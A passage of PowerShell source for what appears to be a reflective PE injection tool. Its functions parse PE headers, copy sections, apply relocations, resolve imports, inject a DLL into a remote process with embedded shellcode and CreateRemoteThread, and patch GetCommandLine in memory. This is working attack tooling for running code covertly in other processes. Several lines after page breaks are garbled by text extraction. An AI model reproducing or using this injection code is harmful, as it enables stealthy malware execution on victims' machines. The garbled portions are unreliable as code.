[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null

#Get NtHeadersInfo
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types

#Build a structure with the information which will be needed for allocating memory and writing the PE to memory
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value
($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value
($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value
($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value
($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)

#Free the memory allocated above, this isn't where we allocate the PE to memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)

return $PEInfo
}

#PEInfo must contain the following NoteProperties:
#  PEHandle: An IntPtr to the address the PE is loaded to in memory
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)

if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}

$PEInfo = New-Object System.Object

#Get NtHeaders information
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types

#Build the PEInfo object
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)

$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo PE64Bit)


-----

$ o | dd e be e be ype ote ope ty a e S eO age a ue
($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)

if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr)
([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr)
([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}

if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq
$Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band
$Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
Throw "PE file is not an EXE or DLL"
}

return $PEInfo
}

Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,

[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)

$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize,
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}

[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize,

[Ref]$NumBytesWritten)

if ($Success -eq $false)

{


-----

o U ab e to te pat to e ote p ocess e o y
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}

$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same
address for all processes

[IntPtr]$DllAddress = [IntPtr]::Zero
#For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit
value, but we need a 64bit address
#  Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory
once the thread finishes.
if ($PEInfo.PE64Bit -eq $true)
{
#Allocate memory for the address returned by LoadLibraryA
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize,
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}

#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)

$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize *
3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem

Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)

$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength,
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}

$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr]

[UInt64]$SCLength, [Ref]$NumBytesWritten)

if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))


-----

{
Throw "Unable to write shellcode to remote process memory."
}

$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions
$Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}

#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr]

[UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0,
$Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | OutNull
}
else
{
[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}

[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}

[IntPtr]$DllAddress = [IntPtr]$ExitCode
}

$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE)
| Out-Null

return $DllAddress
}

Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,


-----

[ a a ete ( os t o, a dato y $t ue)]
[System.Object]
$Win32Types
)

for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i *

[System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr,

[Type]$Win32Types.IMAGE_SECTION_HEADER)

#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))

#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
#  in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
#  SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
#  so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData

if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}

if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}

if ($SizeOfRawData -gt 0)
{
#Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size
$SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr,
$SizeOfRawData)
}

#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
#Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference |
Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}

Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,

[Parameter(Position = 2 Mandatory = $true)]


-----

[Syste Object]
$Win32Constants,

[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)

[Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)

#If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}

elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}

#Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle)
([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
#If SizeOfBlock == 0, we are done
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr,

[Type]$Win32Types.IMAGE_BASE_RELOCATION)

if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}

[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2

#Loop through each relocation
for($i = 0; $i -lt $NumRelocations; $i++)
{
#Get info for this relocation
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])

#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}

#For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.

#This appears to be true for EXE's as well


-----

# S te ttp // sd c oso t co /e us/ aga e/cc30 808 asp
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
#Get the current memory address and update it based off the difference between PE expected base address and actual base
address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])

if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}

[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
#IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}

$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}

Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,

[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,

[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)

$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}

if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)

{


-----

[ t t ]$ po t esc pto t dd S g ed t sU s g ed ([ t6 ]$ o a d e)
([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr,

[Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)

#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
#Write-Verbose "Done importing DLL imports"
break
}

$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)

if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}

if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}

#Get the first thunk, then loop through all of them
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is
overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$LoadByOrdinal = $false
[IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on
32bit or 64bit
#  If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
#  and doing the comparison, just see if it is less than 0
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
else

{


-----

[ t t ]$St g dd dd S g ed t sU s g ed ($ o a d e) ($O g a u e a )
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
$ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
}

if ($RemoteLoading -eq $true)
{
# [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle
$ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
}
else
{
#Write-Host "DLL: $ImportDllPath, Proc: $ProcedureNamePtr"
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
}

if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
if ($LoadByOrdinal)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll:
$ImportDllPath"
}
else
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll:
$ImportDllPath"
}
}

[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)

$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef)
([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

#Cleanup
#If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
{
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
$ProcedureNamePtr = [IntPtr]::Zero
}
}

$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr)
([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}

Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)

$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)

{


-----

(($Sect o C a acte st cs ba d $ 3 Co sta ts G _SC _ _ ) gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}

if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}

return $ProtectionFlag
}

Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,


-----

[ a a ete ( os t o, a dato y $t ue)]
[System.Object]
$Win32Functions,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,

[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)

for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i *

[System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr,

[Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)

[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize

[UInt32]$OldProtectFlag = 0
#Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}

#This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
#Returns an object with addresses to copies of the bytes that were overwritten (and the count)
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,

[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,

[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)

#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to
its original state.

$ReturnArray = @()


-----

$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0

[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}

[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
# throw "KernelBase handle null"
$KernelBaseHandle = $Kernel32Handle;
}

#################################################
#First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to
start it.
#  We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)

[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex
$GetCommandLineWAddr)"
}

#Prepare the shellcode
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48  #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8

[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length

#Make copy of GetCommandLineA and GetCommandLineW
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
